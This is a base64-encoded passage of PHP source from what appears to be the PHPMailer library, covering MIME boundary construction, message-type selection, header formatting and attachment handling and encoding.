XJ0c1sxXTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdzaWduaW5nJykgLiBvcGVuc3NsX2Vycm9yX3N0cmluZygpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgICAgICB0aHJvdyAkZXhjOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYm9keTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgc3RhcnQgb2YgYSBtZXNzYWdlIGJvdW5kYXJ5LgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaGFyU2V0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjb250ZW50VHlwZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBnZXRCb3VuZGFyeSgkYm91bmRhcnksICRjaGFyU2V0LCAkY29udGVudFR5cGUsICRlbmNvZGluZykKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgaWYgKCRjaGFyU2V0ID09ICcnKSB7CiAgICAgICAgICAgICRjaGFyU2V0ID0gJHRoaXMtPkNoYXJTZXQ7CiAgICAgICAgfQogICAgICAgIGlmICgkY29udGVudFR5cGUgPT0gJycpIHsKICAgICAgICAgICAgJGNvbnRlbnRUeXBlID0gJHRoaXMtPkNvbnRlbnRUeXBlOwogICAgICAgIH0KICAgICAgICBpZiAoJGVuY29kaW5nID09ICcnKSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICR0aGlzLT5FbmNvZGluZzsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICRib3VuZGFyeSk7CiAgICAgICAgJHJlc3VsdCAuPSBzcHJpbnRmKCdDb250ZW50LVR5cGU6ICVzOyBjaGFyc2V0PSVzJywgJGNvbnRlbnRUeXBlLCAkY2hhclNldCk7CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgIGlmICgkZW5jb2RpbmcgIT0gJzdiaXQnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkZW5jb2RpbmcpOwogICAgICAgIH0KICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5MRTsKCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBSZXR1cm4gdGhlIGVuZCBvZiBhIG1lc3NhZ2UgYm91bmRhcnkuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAkYm91bmRhcnkKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBlbmRCb3VuZGFyeSgkYm91bmRhcnkpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5MRSAuICctLScgLiAkYm91bmRhcnkgLiAnLS0nIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogU2V0IHRoZSBtZXNzYWdlIHR5cGUuCiAgICAgKiBQSFBNYWlsZXIgb25seSBzdXBwb3J0cyBzb21lIHByZXNldCBtZXNzYWdlIHR5cGVzLCBub3QgYXJiaXRyYXJ5IE1JTUUgc3RydWN0dXJlcy4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNldE1lc3NhZ2VUeXBlKCkKICAgIHsKICAgICAgICAkdHlwZSA9IGFycmF5KCk7CiAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnYWx0JzsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5pbmxpbmVJbWFnZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnaW5saW5lJzsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5hdHRhY2htZW50RXhpc3RzKCkpIHsKICAgICAgICAgICAgJHR5cGVbXSA9ICdhdHRhY2gnOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gaW1wbG9kZSgnXycsICR0eXBlKTsKICAgICAgICBpZiAoJHRoaXMtPm1lc3NhZ2VfdHlwZSA9PSAnJykgewogICAgICAgICAgICAvL1RoZSAncGxhaW4nIG1lc3NhZ2VfdHlwZSByZWZlcnMgdG8gdGhlIG1lc3NhZ2UgaGF2aW5nIGEgc2luZ2xlIGJvZHkgZWxlbWVudCwgbm90IHRoYXQgaXQgaXMgcGxhaW4tdGV4dAogICAgICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gJ3BsYWluJzsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYSBoZWFkZXIgbGluZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGhlYWRlckxpbmUoJG5hbWUsICR2YWx1ZSkKICAgIHsKICAgICAgICByZXR1cm4gJG5hbWUgLiAnOiAnIC4gJHZhbHVlIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGEgZm9ybWF0dGVkIG1haWwgbGluZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHRleHRMaW5lKCR2YWx1ZSkKICAgIHsKICAgICAgICByZXR1cm4gJHZhbHVlIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGF0dGFjaG1lbnQgZnJvbSBhIHBhdGggb24gdGhlIGZpbGVzeXN0ZW0uCiAgICAgKiBOZXZlciB1c2UgYSB1c2VyLXN1cHBsaWVkIHBhdGggdG8gYSBmaWxlIQogICAgICogUmV0dXJucyBmYWxzZSBpZiB0aGUgZmlsZSBjb3VsZCBub3QgYmUgZm91bmQgb3IgcmVhZC4KICAgICAqIEV4cGxpY2l0bHkgKmRvZXMgbm90KiBzdXBwb3J0IHBhc3NpbmcgVVJMczsgUEhQTWFpbGVyIGlzIG5vdCBhbiBIVFRQIGNsaWVudC4KICAgICAqIElmIHlvdSBuZWVkIHRvIGRvIHRoYXQsIGZldGNoIHRoZSByZXNvdXJjZSB5b3Vyc2VsZiBhbmQgcGFzcyBpdCBpbiB2aWEgYSBsb2NhbCBmaWxlIG9yIHN0cmluZy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGggUGF0aCB0byB0aGUgYXR0YWNobWVudC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEF0dGFjaG1lbnQoJHBhdGgsICRuYW1lID0gJycsICRlbmNvZGluZyA9ICdiYXNlNjQnLCAkdHlwZSA9ICcnLCAkZGlzcG9zaXRpb24gPSAnYXR0YWNobWVudCcpCiAgICB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgaWYgKCFzZWxmOjppc1Blcm1pdHRlZFBhdGgoJHBhdGgpIG9yICFAaXNfZmlsZSgkcGF0aCkpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2ZpbGVfYWNjZXNzJykgLiAkcGF0aCwgc2VsZjo6U1RPUF9DT05USU5VRSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBmaWxlIG5hbWUKICAgICAgICAgICAgaWYgKCR0eXBlID09ICcnKSB7CiAgICAgICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJHBhdGgpOwogICAgICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICRuYW1lID0gJGZpbGVuYW1lOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAwID0+ICRwYXRoLAogICAgICAgICAgICAgICAgMSA9PiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAgICAgMyA9PiAkZW5jb2RpbmcsCiAgICAgICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgICAgIDcgPT4gMAogICAgICAgICAgICApOwoKICAgICAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGV4YykgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgYXJyYXkgb2YgYXR0YWNobWVudHMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hdHRhY2htZW50OwogICAgfQoKICAgIC8qKgogICAgICogQXR0YWNoIGFsbCBmaWxlLCBzdHJpbmcsIGFuZCBiaW5hcnkgYXR0YWNobWVudHMgdG8gdGhlIG1lc3NhZ2UuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uX3R5cGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYXR0YWNoQWxsKCRkaXNwb3NpdGlvbl90eXBlLCAkYm91bmRhcnkpCiAgICB7CiAgICAgICAgLy8gUmV0dXJuIHRleHQgb2YgYm9keQogICAgICAgICRtaW1lID0gYXJyYXkoKTsKICAgICAgICAkY2lkVW5pcSA9IGFycmF5KCk7CiAgICAgICAgJGluY2wgPSBhcnJheSgpOwoKICAgICAgICAvLyBBZGQgYWxsIGF0dGFjaG1lbnRzCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgLy8gQ2hlY2sgaWYgaXQgaXMgYSB2YWxpZCBkaXNwb3NpdGlvbl9maWx0ZXIKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICRkaXNwb3NpdGlvbl90eXBlKSB7CiAgICAgICAgICAgICAgICAvLyBDaGVjayBmb3Igc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgICRzdHJpbmcgPSAnJzsKICAgICAgICAgICAgICAgICRwYXRoID0gJyc7CiAgICAgICAgICAgICAgICAkYlN0cmluZyA9ICRhdHRhY2htZW50WzVdOwogICAgICAgICAgICAgICAgaWYgKCRiU3RyaW5nKSB7CiAgICAgICAgICAgICAgICAgICAgJHN0cmluZyA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcGF0aCA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICRpbmNsaGFzaCA9IG1kNShzZXJpYWxpemUoJGF0dGFjaG1lbnQpKTsKICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkaW5jbGhhc2gsICRpbmNsKSkgewogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGluY2xbXSA9ICRpbmNsaGFzaDsKICAgICAgICAgICAgICAgICRuYW1lID0gJGF0dGFjaG1lbnRbMl07CiAgICAgICAgICAgICAgICAkZW5jb2RpbmcgPSAkYXR0YWNobWVudFszXTsKICAgICAgICAgICAgICAgICR0eXBlID0gJGF0dGFjaG1lbnRbNF07CiAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24gPSAkYXR0YWNobWVudFs2XTsKICAgICAgICAgICAgICAgICRjaWQgPSAkYXR0YWNobWVudFs3XTsKICAgICAgICAgICAgICAgIGlmICgkZGlzcG9zaXRpb24gPT0gJ2lubGluZScgJiYgYXJyYXlfa2V5X2V4aXN0cygkY2lkLCAkY2lkVW5pcSkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRjaWRVbmlxWyRjaWRdID0gdHJ1ZTsKCiAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcyVzJywgJGJvdW5kYXJ5LCAkdGhpcy0+TEUpOwogICAgICAgICAgICAgICAgLy9Pbmx5IGluY2x1ZGUgYSBmaWxlbmFtZSBwcm9wZXJ0eSBpZiB3ZSBoYXZlIG9uZQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXM7IG5hbWU9IiVzIiVzJywKICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkbmFtZSkpLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgICAgICAgICAgaWYgKCRlbmNvZGluZyAhPSAnN2JpdCcpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogJXMlcycsICRlbmNvZGluZywgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoJGRpc3Bvc2l0aW9uID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoJ0NvbnRlbnQtSUQ6IDwlcz4lcycsICRjaWQsICR0aGlzLT5MRSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8gSWYgYSBmaWxlbmFtZSBjb250YWlucyBhbnkgb2YgdGhlc2UgY2hhcnMsIGl0IHNob3VsZCBiZSBxdW90ZWQsCiAgICAgICAgICAgICAgICAvLyBidXQgbm90IG90aGVyd2lzZTogUkZDMjE4MyAmIFJGQzIwNDUgNS4xCiAgICAgICAgICAgICAgICAvLyBGaXhlcyBhIHdhcm5pbmcgaW4gSUVURidzIG1zZ2xpbnQgTUlNRSBjaGVja2VyCiAgICAgICAgICAgICAgICAvLyBBbGxvdyBmb3IgYnlwYXNzaW5nIHRoZSBDb250ZW50LURpc3Bvc2l0aW9uIGhlYWRlciB0b3RhbGx5CiAgICAgICAgICAgICAgICBpZiAoIShlbXB0eSgkZGlzcG9zaXRpb24pKSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkX25hbWUgPSAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJG5hbWUpKTsKICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL1sgXChcKTw+QCw7OlxcIlwvXFtcXVw\/PV0vJywgJGVuY29kZWRfbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXM7IGZpbGVuYW1lPSIlcyIlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZF9uYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkxFIC4gJHRoaXMtPkxFCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZW5jb2RlZF9uYW1lKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtRGlzcG9zaXRpb246ICVzOyBmaWxlbmFtZT0lcyVzJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGVuY29kZWRfbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUgLiAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5MRSAuICR0aGlzLT5MRQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyBFbmNvZGUgYXMgc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgIGlmICgkYlN0cmluZykgewogICAgICAgICAgICAgICAgICAgICRtaW1lW10gPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCRzdHJpbmcsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPmVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcy0tJXMnLCAkYm91bmRhcnksICR0aGlzLT5MRSk7CgogICAgICAgIHJldHVybiBpbXBsb2RlKCcnLCAkbWltZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBmaWxlIGF0dGFjaG1lbnQgaW4gcmVxdWVzdGVkIGZvcm1hdC4KICAgICAqIFJldHVybnMgYW4gZW1wdHkgc3RyaW5nIG9uIGZhaWx1cmUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggdG8gdGhlIGZpbGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGVuY29kaW5nIFRoZSBlbmNvZGluZyB0byB1c2U7IG9uZSBvZiAnYmFzZTY0JywgJzdiaXQnLCAnOGJpdCcsICdiaW5hcnknLCAncXVvdGVkLXByaW50YWJsZScKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyA9ICdiYXNlNjQnKQogICAgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSBvciAhZmlsZV9leGlzdHMoJHBhdGgpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdmaWxlX29wZW4nKSAuICRwYXRoLCBzZWxmOjpTVE9QX0NPTlRJTlVFKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZmFsc2U7CiAgICAgICAgICAgIGlmKCB2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjQuMCcsICc8JykgKSB7CiAgICAgICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRtYWdpY19xdW90ZXMpIHsKICAgICAgICAgICAgICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjMuMCcsICc8JykpIHsKICAgICAgICAgICAgICAgICAgICBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoZmFsc2UpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAvL0RvZXNuJ3QgZXhpc3QgaW4gUEhQIDUuNCwgYnV0IHdlIGRvbid0IG5lZWQgdG8gY2hlY2sgYmVjYXVzZQogICAgICAgICAgICAgICAgICAgIC8vZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lIGFsd2F5cyByZXR1cm5zIGZhbHNlIGluIDUuNCsKICAgICAgICAgICAgICAgICAgICAvL3NvIGl0IHdpbGwgbmV2ZXIgZ2V0IGhlcmUKICAgICAgICAgICAgICAgICAgICBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsIGZhbHNlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkZmlsZV9idWZmZXIgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CiAgICAgICAgICAgICRmaWxlX2J1ZmZlciA9ICR0aGlzLT5lbmNvZGVTdHJpbmcoJGZpbGVfYnVmZmVyLCAkZW5jb2RpbmcpOwogICAgICAgICAgICBpZiAoJG1hZ2ljX3F1b3RlcykgewogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJywgJzwnKSkgewogICAgICAgICAgICAgICAgICAgIHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJGZpbGVfYnVmZmVyOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICByZXR1cm4gJyc7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgc3RyaW5nIGluIHJlcXVlc3RlZCBmb3JtYXQuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIFRoZSB0ZXh0IHRvIGVuY29kZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgVGhlIGVuY29kaW5nIHRvIHVzZTsgb25lIG9mICdiYXNlNjQnLCAnN2JpdCcsICc4Yml0JywgJ2JpbmFyeScsICdxdW90ZWQtcHJpbnRhYmxlJwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBlbmNvZGVTdHJpbmcoJHN0ciwgJGVuY29kaW5nID0gJ2Jhc2U2NCcpCiAgICB7CiAgICAgICAgJGVuY29kZWQgPSAnJzsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJGVuY29kaW5nKSkgewogICAgICAgICAgICBjYXNlICdiYXNlNjQnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRzdHIpLCA3NiwgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICc3Yml0JzoKICAgICAgICAgICAgY2FzZSAnOGJpdCc6CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT5maXhFT0woJHN0cik7CiAgICAgICAgICAgICAgICAvLyBNYWtlIHN1cmUgaXQgZW5kcyB3aXRoIGEgbGluZSBicmVhawogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkZW5jb2RlZCwgLShzdHJsZW4oJHRoaXMtPkxFKSkpICE9ICR0aGlzLT5MRSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkIC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdiaW5hcnknOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkc3RyOwogICAg